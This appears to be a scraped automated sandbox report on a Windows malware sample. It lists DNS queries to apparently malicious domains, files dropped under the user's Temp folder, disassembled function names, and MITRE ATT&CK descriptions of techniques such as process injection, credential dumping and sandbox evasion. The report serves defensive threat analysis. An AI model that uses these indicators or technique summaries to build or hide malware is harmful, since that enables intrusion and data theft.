Source: global traffic	DNS traffic detected: DNS query: www.shun-yamagata.com
Source: global traffic	DNS traffic detected: DNS query: www.donumul.com
Source: global traffic	DNS traffic detected: DNS query: www.brongal.by
Source: global traffic	DNS traffic detected: DNS query: www.jdps.org
Source: global traffic	DNS traffic detected: DNS query: www.belgravevilla.com
Source: global traffic	DNS traffic detected: DNS query: www.insist.site
Source: global traffic	DNS traffic detected: DNS query: www.runonbattery.com
Source: global traffic	DNS traffic detected: DNS query: www.nemeanshop.com
Source: global traffic	DNS traffic detected: DNS query: www.nurenose.com
Source: global traffic	DNS traffic detected: DNS query: www.cd14j.us

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fJuwM4Bwi7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Lumbagoen.lnk

C:\Users\user\AppData\Local\Temp\N62i5Gz

C:\Users\user\AppData\Local\Temp\Settings.ini

C:\Users\user\AppData\Local\Temp\nsiB9A5.tmp

C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Blevins126.for

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies\noninstitutionally.ski

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies\pulpwood.int

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies\seksturenes.sem

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies\stonefolk.mor

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Hakam.hrd

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Nonsacrilegiously\Udlse77.smk

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Nonsacrilegiously\aerosolens.red

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Nonsacrilegiously\andantinoen.str

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Nonsacrilegiously\complainant.pri

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Nonsacrilegiously\divisioner.par

Windows Analysis Report
fJuwM4Bwi7.exe

Function 00403217 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D58 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre